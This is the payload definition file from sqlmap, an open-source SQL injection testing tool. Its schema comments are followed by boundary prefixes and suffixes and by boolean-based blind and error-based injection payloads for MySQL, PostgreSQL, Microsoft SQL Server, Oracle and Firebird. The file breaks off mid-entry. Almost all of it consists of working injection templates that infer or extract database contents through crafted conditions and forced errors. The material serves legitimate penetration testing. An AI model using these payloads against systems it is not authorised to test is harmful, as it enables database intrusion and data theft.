sqlmap/xml/payloads.xml

<?xml version="1.0" encoding="UTF-8"?>

<!--
Tag: <boundary>
    How to prepend and append to the test ' <payload><comment> ' string.

    Sub-tag: <level>
        From which level check for this test.

        Valid values:
            1: Always (<100 requests)
            2: Try a bit harder (100-200 requests)
            3: Good number of requests (200-500 requests)
            4: Extensive test (500-1000 requests)
            5: You have plenty of time (>1000 requests)

    Sub-tag: <clause>
        In which clause the payload can work.

        NOTE: for instance, there are some payload that do not have to be
        tested as soon as it has been identified whether or not the
        injection is within a WHERE clause condition.

        Valid values:
            0: Always
            1: WHERE
            2: GROUP BY
            3: ORDER BY
            4: LIMIT
            5: OFFSET
            6: TOP
            7: Table name
            8: Column name

        A comma separated list of these values is also possible.

    Sub-tag: <where>
        Where to add our '<prefix> <payload><comment> <suffix>' string.

        Valid values:
            1: When the value of <test>'s <where> is 1.
            2: When the value of <test>'s <where> is 2.
            3: When the value of <test>'s <where> is 3.

        A comma separated list of these values is also possible.

    Sub-tag: <ptype>
        What is the parameter value type.

        Valid values:
            1: Unescaped numeric
            2: Single quoted string
            3: LIKE single quoted string
            4: Double quoted string
            5: LIKE double quoted string

    Sub-tag: <prefix>
        A string to prepend to the payload.

    Sub-tag: <suffix>
        A string to append to the payload.


Tag: <test>
    SQL injection test definition.

    Sub-tag: <title>
        Title of the test.

    Sub-tag: <stype>
        SQL injection family type.

        Valid values:
            0: Heuristic check to parse response errors
            1: Boolean-based blind SQL injection
            2: Error-based SQL injection
            3: UNION query SQL injection
            4: Stacked queries SQL injection
            5: AND/OR time-based blind SQL injection

    Sub-tag: <level>
        From which level check for this test.

        Valid values:
            1: Always (<100 requests)
            2: Try a bit harder (100-200 requests)
            3: Good number of requests (200-500 requests)
            4: Extensive test (500-1000 requests)
            5: You have plenty of time (>1000 requests)

    Sub-tag: <risk>
        Likelihood of a payload to damage the data integrity.

        Valid values:
            0: No risk
            1: Low risk
            2: Medium risk
            3: High risk

    Sub-tag: <clause>
        In which clause the payload can work.

        NOTE: for instance, there are some payload that do not have to be
        tested as soon as it has been identified whether or not the
        injection is within a WHERE clause condition.

        Valid values:
            0: Always
            1: WHERE
            2: GROUP BY
            3: ORDER BY
            4: LIMIT
            5: OFFSET
            6: TOP
            7: Table name
            8: Column name

        A comma separated list of these values is also possible.

    Sub-tag: <where>
        Where to add our '<prefix> <payload><comment> <suffix>' string.

        Valid values:
            1: Append to the parameter original value
            2: Append to the parameter original value and change the
               original value to its negative representation
            3: Replace the parameter original value

    Sub-tag: <vector>
        The payload that will be used to exploit the injection point.

    Sub-tag: <request>
        What to inject for this test.

        Sub-tag: <payload>
            The payload to test for.

        Sub-tag: <comment>
            Comment to append to the payload, before the suffix.

    Sub-tag: <response>
        How to identify if the injected payload succeeded.

        Sub-tag: <comparison>
            Perform a request with this string as the payload and compare
            the response with the <payload> response. Apply the comparison
            algorithm.

            NOTE: useful to test for boolean-based blind SQL injections.

        Sub-tag: <grep>
            Regular expression to grep for in the response body.

            NOTE: useful to test for error-based and UNION query SQL
            injections.

        Sub-tag: <time>
            Time in seconds to wait before the response is returned.

            NOTE: useful to test for time-based blind and stacked queries
            SQL injections.

        Sub-tag: <out-of-band>
            # TODO

    Sub-tag: <details>
        Which details can be infered if the payload succeed.

        Sub-tags: <dbms>
            What is the database management system (e.g. MySQL).

        Sub-tags: <dbms_version>
            What is the database management system version (e.g. 5.0.51).

        Sub-tags: <os>
            What is the database management system underlying operating
            system.

Formats:
    <boundary>
        <level></level>
        <clause></clause>
        <where></where>
        <ptype></ptype>
        <prefix></prefix>
        <suffix></suffix>
    </boundary>

    <test>
        <title></title>
        <stype></stype>
        <level></level>
        <risk></risk>
        <clause></clause>
        <where></where>
        <vector></vector>
        <request>
            <payload></payload>
            <comment></comment>
        </request>
        <response>
            <comparison></comparison>
            <grep></grep>
            <time></time>
        </response>
        <details>
            <dbms></dbms>
            <dbms_version></dbms_version>
            <os></os>
        </details>
    </test>
-->

<root>
    <!-- Generic boundaries -->
    <boundary>
        <level>1</level>
        <clause>0</clause>
        <where>1,2,3</where>
        <ptype>1</ptype>
        <prefix></prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)</prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'</prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')</prefix>
        <suffix></suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"</prefix>
        <suffix></suffix>
    </boundary>
    <!-- End of generic boundaries -->

    <!-- WHERE clause boundaries -->
    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)</prefix>
        <suffix>AND ([RANDNUM]=[RANDNUM]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>))</prefix>
        <suffix>AND (([RANDNUM]=[RANDNUM]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>1</ptype>
        <prefix>)))</prefix>
        <suffix>AND ((([RANDNUM]=[RANDNUM]</suffix>
    </boundary>

    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'</prefix>
        <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>1</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')</prefix>
        <suffix>AND ('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>'))</prefix>
        <suffix>AND (('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>2</ptype>
        <prefix>')))</prefix>
        <suffix>AND ((('[RANDSTR]'='[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>'</prefix>
        <suffix>AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>')</prefix>
        <suffix>AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>'))</prefix>
        <suffix>AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>3</ptype>
        <prefix>')))</prefix>
        <suffix>AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>2</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"</prefix>
        <suffix>AND "[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>")</prefix>
        <suffix>AND ("[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>"))</prefix>
        <suffix>AND (("[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>4</ptype>
        <prefix>")))</prefix>
        <suffix>AND ((("[RANDSTR]"="[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>3</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>"</prefix>
        <suffix>AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>4</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>")</prefix>
        <suffix>AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>"))</prefix>
        <suffix>AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>

    <boundary>
        <level>5</level>
        <clause>1</clause>
        <where>1,2</where>
        <ptype>5</ptype>
        <prefix>")))</prefix>
        <suffix>AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
    </boundary>
    <!-- End of WHERE clause boundaries -->


    <!-- Boolean-based blind tests - WHERE clause -->
    <test>
        <title>AND boolean-based blind - WHERE clause</title>
        <stype>1</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>

    <test>
        <title>AND boolean-based blind - WHERE clause (MySQL comment)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
            <comment>#</comment>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>

    <test>
        <title>AND boolean-based blind - WHERE clause (Generic comment)</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [INFERENCE]</vector>
        <request>
            <payload>AND [RANDNUM]=[RANDNUM]</payload>
            <comment>--</comment>
        </request>
        <response>
            <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>

   <test>
        <title>OR boolean-based blind - WHERE clause</title>
        <stype>1</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR NOT [INFERENCE]</vector>
        <request>
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
        </request>
        <response>
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>

    <test>
        <title>OR boolean-based blind - WHERE clause (MySQL comment)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR NOT [INFERENCE]</vector>
        <request>
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
            <comment>#</comment>
        </request>
        <response>
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>OR boolean-based blind - WHERE clause (Generic comment)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR NOT [INFERENCE]</vector>
        <request>
            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
            <comment>--</comment>
        </request>
        <response>
            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
        </response>
    </test>
    <!-- End of boolean-based blind tests - WHERE clause -->


    <!-- Boolean-based blind tests - Parameter replace -->
    <test>
        <title>Generic boolean-based blind - Parameter replace</title>
        <stype>1</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison>
        </response>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0 boolean-based blind - Parameter replace</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle boolean-based blind - Parameter replace</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,3</clause>
        <where>3</where>
        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector>
        <request>
            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload>
        </request>
        <response>
            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>
    <!-- TODO: check against Microsoft Access and SAP MaxDB -->
    <!-- End of boolean-based blind tests - Parameter replace -->


    <!-- Boolean-based blind tests - GROUP BY and ORDER BY clauses -->
    <test>
        <title>Generic boolean-based blind - GROUP BY and ORDER BY clauses</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
        <request>
            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
        </request>
        <response>
            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison>
        </response>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</vector>
        <request>
            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</payload>
        </request>
        <response>
            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title>
        <stype>1</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>
        <request>
            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>
        </request>
        <response>
            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>3</clause>
        <where>1</where>
        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>
        <request>
            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>
        </request>
        <response>
            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle boolean-based blind - GROUP BY and ORDER BY clauses</title>
        <stype>1</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>2,3</clause>
        <where>1</where>
        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector>
        <request>
            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload>
        </request>
        <response>
            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>
    <!-- TODO: check against Microsoft Access and SAP MaxDB -->
    <!-- End of boolean-based blind tests - GROUP BY and ORDER BY clauses -->


    <!-- Error-based tests - WHERE clause -->
    <test>
        <title>MySQL &gt;= 5.0 AND error-based - WHERE clause</title>
        <stype>2</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
        <request>
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL AND error-based - WHERE clause</title>
        <stype>2</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE clause</title>
        <stype>2</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE clause (IN)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE clause (XMLType)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),' ','[SPACE_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE clause (utl_inaddr.get_host_address)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
            <dbms_version>&gt;= 8.1.6</dbms_version>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE clause (ctxsys.drithsx.sn)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM], '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Firebird AND error-based - WHERE clause</title>
        <stype>2</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Firebird</dbms>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 OR error-based - WHERE clause</title>
        <stype>2</stype>
        <level>2</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
        <request>
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL OR error-based - WHERE clause</title>
        <stype>2</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector>
        <request>
            <payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload>
            <comment>#</comment>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL OR error-based - WHERE clause</title>
        <stype>2</stype>
        <level>2</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE clause</title>
        <stype>2</stype>
        <level>2</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE clause (IN)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>2</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
